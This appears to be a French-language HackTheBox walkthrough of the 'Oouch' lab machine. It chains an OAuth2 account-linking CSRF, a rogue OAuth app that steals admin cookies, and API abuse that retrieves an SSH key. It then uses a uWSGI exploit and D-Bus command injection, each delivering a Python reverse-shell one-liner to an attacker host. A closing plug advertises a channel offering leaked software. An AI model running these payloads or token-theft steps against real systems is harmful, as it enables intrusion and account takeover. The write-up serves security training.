HackTheBox. Procédure pas à pas Oouch. OAuth2, RCE vers uWSGI et LPE sur DBUS



Je continue à publier des solutions envoyées pour la finalisation des machines depuis la plateforme HackTheBox .



Dans cet article, nous analyserons l'attaque contre l'authentification OAuth2 et enregistrerons également notre application pour détourner les cookies de l'administrateur. En plus de cela, nous allons exécuter le RCE sur le serveur Web et le serveur d'applications Web uWSGI, et également élever les privilèges via le bus de messages D-Bus.



La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où il y a des données importantes pour vous, car vous vous trouvez dans un réseau privé avec des personnes qui connaissent quelque chose sur la sécurité de l'information.



Informations organisationnelles
, , Telegram . , , .



. , - , .



Reconnaître



Cette machine a une adresse IP de 10.10.10.177, que j'ajoute à / etc / hosts.



10.10.10.177 	oouch.htb


La première étape consiste à analyser les ports ouverts. Comme il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire en utilisant masscan. Nous analysons tous les ports TCP et UDP de l'interface tun0 à 500 paquets par seconde.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182      --rate=500






Maintenant, pour obtenir des informations plus détaillées sur les services qui s'exécutent sur les ports, exécutez une analyse avec l'option -A.



nmap -A oouch.htb -p8000,22,21,5000,5555






Ainsi, nous avons:



  • Le port 22 est SSH.
  • Le port 8000 est le serveur Web répondant avec le code 400.
  • Port 5000 - serveur Web, redirigez vers la page d'autorisation.
  • Port 21 - FTP, où se trouve le fichier project.txt, accessible avec l'autorisation de l'anonymat.


Allez sur FTP en tant qu'anonyme, téléchargez le fichier et voyez.











Ne nous dit rien. Nous allons sur le serveur Web.







Comme il ressort du rapport nmap, une redirection vers la page d'autorisation se produit. Il y a une possibilité d'inscription, inscrivez-vous puis connectez-vous.















Ainsi, le site est en cours de développement, stocke un minimum d'informations sur les utilisateurs, a la possibilité de stocker des documents (cette option n'est disponible que pour le développeur), et bénéficie également des retours des administrations. Nous sommes assurés que l'administrateur système lit tous les messages.



Lors d'une tentative de vol de cookies, la balise était bloquée (d'ailleurs, elle n'est plus bloquée).







Ne trouvant aucun vecteur, il a été décidé de scanner les répertoires.



dirb http://oouch.htb:5000/






Et nous trouvons un répertoire caché oauth.







Ajoutons ce domaine à / etc / hosts.



10.10.10.177    consumer.oouch.htb






Mais il y a une redirection. Ajoutons ce domaine à / etc / hosts.



10.10.10.177    authorization.oouch.htb






Rencontre à nouveau la page de connexion. Nous nous connectons avec les mêmes informations d'identification. Mais avec une nouvelle tentative, nous sommes transférés sur le port 8000.



consumer.oouch.htb : 5000 / oauth / connect -> authorisation.oouch.htb : 8000 / login /







Après avoir scanné les répertoires tout de suite , nous ne trouvons rien d'intéressant, nous nous enregistrons donc ici aussi.







Et trouvez un nouveau répertoire que dirb n'a pas trouvé. Cherchons-le.



dirb http://authorization.oouch.htb:8000/oauth






Il y a encore un répertoire! Mais là, nous sommes rencontrés par l'authentification HTTP.







Nous le faisons également dans ce répertoire.



dirb http://authorization.oouch.htb:8000/oauth/applications/






Les applications les plus probables se trouvent dans ce répertoire et peuvent être enregistrées. Nous ne trouvons rien de plus intéressant ici.



En nous inscrivant là où c'était nécessaire, nous revenons à la connexion d'origine. L'authentification OAuth est utilisée.



Authentification OAuth



OAuth est un protocole d'autorisation ouvert qui vous permet de fournir à un tiers un accès limité aux ressources utilisateur protégées sans qu'il soit nécessaire de transférer votre identifiant et votre mot de passe au tiers.



OAuth utilise trois types d'informations d'identification: les informations d'identification du client, les informations d'identification temporaires et les informations d'identification de jeton.



Étapes du protocole OAuth 2.0:



  1. . (client ID), (client secret), URI (redirect URI) .
  2. , authorization grant.
  3. , .
  4. , , ( ). .
  5. .
  6. , .






De cette manière, le compte utilisateur est associé à des ressources spécifiques sur le serveur de ressources.



Attaque Oauth



Ce protocole peut être attaqué, ce qui nous permet de lier notre compte aux ressources d'un autre utilisateur. Pour ce faire, vous n'avez pas besoin d'utiliser votre jeton d'accès unique, mais de forcer un autre utilisateur à le transférer vers le serveur. Ensuite, le compte propriétaire du jeton sera associé aux ressources du compte qui l'a fourni.

Puisque l'administrateur système répond à tous les messages, il est possible qu'il suive le lien que nous lui enverrons. De plus, dans cette application, le jeton d'accès n'est pas passé dans l'en-tête HTTP (comme il se doit), mais dans le paramètre URL. De cette façon, nous pouvons mener cette attaque.



Allez sur consumer.oouch.htb : 5000 / oauth / connect et attrapez-le en utilisant Burp Suite.







Nous sautons cette demande, et nous sommes redirigés, et avec le paramètre ID client.







Nous sautons également cette demande. La redirection suit à nouveau, où nous pouvons observer d'autres paramètres du protocole d'authentification.







Ignorez à nouveau la demande. Une fenêtre d'autorisation apparaît sur la page. Pour terminer, cliquez sur le bouton d'autorisation.











Nous sautons cette demande. Et maintenant, nous sommes à nouveau redirigés, avec un code à usage unique comme paramètre!







Sauvegardons ce jeton et rejetons la demande. Envoyons ce lien à l'administrateur afin que lorsqu'il le suivra, notre compte soit lié à ses ressources (et si vous vous en souvenez, il a le droit de stocker des documents).







Passons maintenant à consumer.oouch.htb : 5000 / oauth / login.















Nous cliquons sur le bouton déjà familier, et dans la page ouverte, nous observons le profil utilisateur qtc.







Voyons les documents.







Il existe des enregistrements sur la clé SSH, le répertoire des utilisateurs et les informations d'identification pour l'enregistrement des applications.



Point d'accès



Si nous pouvons enregistrer notre application, nous pouvons forcer l'administrateur à y accéder et à découvrir ses cookies!



Revenons à la page d'inscription de l'application et connectez-vous. Et dans le formulaire qui s'ouvre, nous enregistrerons une nouvelle application, indiquant le type public du client, le type de code de l'octroi d'autorisation et indiquerons le port ouvert sur l'hôte local pour la connexion.







Nous sauvegardons notre identifiant client et notre secret client. Essayons de nous authentifier pour vérifier que l'authentification fonctionne et que l'utilisateur sera redirigé vers nous.



Formons un lien, spécifiez les données de l'application enregistrée dans les paramètres correspondants:



authorisation.oouch.htb: 8000 / oauth / authorize / client_id = MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs & redirect_uri = http: //10.10.14.203: 4321 & grant_type = authorization_code & client_secret = e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6



suivre maintenant pour voir la connexion.







Puisque tout fonctionne, envoyons-le à l'administrateur.







C'est ainsi que nous reconnaissons ses cookies. Appliquons-les.







Et nous sommes connectés au serveur en tant que qtc.



UTILISATEUR



Pour accéder à la ressource, nous avons besoin d'un jeton, et pour que le serveur nous le renvoie, nous allons changer le type d'octroi d'autorisation en client_credentials.







Et nous demanderons le jeton en utilisant curl: définissez la méthode POST (-X), les en-têtes HTTP requis (-H), les cookies, les données que nous voulons envoyer, et autorisez également la redirection (-L). Étant donné que la réponse est renvoyée au format JSON, nous utilisons jq pour afficher la réponse correctement.



curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H “Content-Type: application/x-www-form-urlencoded” --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" --data “grant_type=client_credentials&client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6” -L -s | jq






Nous recevons un jeton. Et maintenant, nous pouvons nous tourner vers la ressource qui était répertoriée dans les documents. Faisons cela avec curl également.



curl "http://authorization.oouch.htb:8000/api/get_user.txt/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq






Comme prévu, nous recevons des informations sur l'utilisateur. Mais je ne savais pas quoi faire ensuite! La conjecture est venue seulement quand ils m'ont laissé entendre que «l'API pour obtenir les données des utilisateurs est prête, mais il est prévu d'obtenir une clé SSH». Ensuite, j'ai pensé que, par analogie avec l'API get_user, pour obtenir des informations sur un utilisateur, je devrais essayer d'appeler get_ssh.



curl "http://authorization.oouch.htb:8000/api/get_ssh/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie "csr
ftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq






Et nous obtenons la clé qtc de l'utilisateur. Après l'avoir amené à sa forme normale, nous nous connectons à l'hôte et prenons l'utilisateur.







RACINE



Pour recon'a sur l'hôte, exécutez LinPEAS. En conséquence, nous trouvons une note laissée par la racine.











Et outre le fait que docker fonctionne sur l'hôte et la clé ssh privée, nous ne trouvons rien.







Le vecteur d'attaque est probablement d'aller dans le docker. De plus, la note mentionne DBus et iptables. Tout le monde connaît déjà iptables, mais DBus est une autre affaire. Dbus ou Desktop Bus est un système qui est principalement utilisé dans le système d'exploitation Linux pour permettre à diverses applications et services de communiquer entre eux.



Jetons un coup d'œil aux interfaces réseau trouvées.







Et nous voyons 2 hôtes. Nous avons réussi à entrer dans le premier.







Et trouvez le répertoire / code.







Dans start.sh, nous trouvons l'utilisation de uwsgi.







Et dans routes.py, nous trouvons l'utilisation de dbus.











Ainsi, l'utilisateur du service a le droit d'utiliser le dbus. Autrement dit, nous devons obtenir un shell.



uWSGI est un serveur Web et un serveur d'applications Web implémentés à l'origine pour exécuter des applications Python via le protocole WSGI. Utilisé pour exécuter des applications basées sur les frameworks Django, Flask et autres. Cherchons des exploits.







Téléchargez le tout premier et téléchargez-le sur l'hôte.



scp -i .ssh/id_rsa uwsgi-exp.py 172.18.0.5:~/


Commençons.







Ainsi, nous avons besoin d'un socket uwsgi. De plus, le service est actuellement en cours d'exécution.







Cela signifie que le socket sera également dans le répertoire tmp.







Lançons l'exploit avec tous les paramètres.







Cela donne une erreur lors de l'importation d'octets, allons-y et changeons le code source.











Si vous exécutez à nouveau l'exploit, cela fonctionnera, mais cela ne fonctionnera pas. J'ai remplacé le shell bash par python. Ça a marché.



python uwsgi-exp.py -m unix -u /tmp/uwsgi.socket -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",5432));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"






Dans le terminal avec le netcat, nous voyons la connexion.







Et maintenant, nous avons le droit d'exécuter dbus. La commande dbus-send est utilisée pour envoyer un message au bus de messages D-Bus. Il existe deux bus de messages bien connus: le bus de messages à l'échelle du système et le bus de messages pour la session de connexion de l'utilisateur. Pour utiliser dbus-send, vous devez connaître le «nom de connexion», qui est spécifié dans le paramètre --dest. Le chemin d'accès à l'objet et le nom du message à envoyer doivent toujours être spécifiés. Les arguments suivants, le cas échéant, sont le contenu du message (arguments du message). Ils sont indiqués sous forme de nom de type, de deux points, puis de la valeur de l'argument. Noms de types possibles: string, int32, uint32, double, byte, boolean.



Exemple de commande:



dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block “string:; SHELL”


Nous utilisons --print-reply pour bloquer la réponse à la demande.



dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block "string:;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",6543));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])';"






Et nous voyons une connexion réussie.







Vous pouvez nous rejoindre sur Telegram . Vous pouvez y trouver des documents intéressants, des cours et des logiciels qui ont fui. Rassemblons une communauté dans laquelle il y aura des gens qui connaissent de nombreux domaines de l'informatique, alors nous pourrons toujours nous entraider sur tous les problèmes informatiques et de sécurité de l'information.



All Articles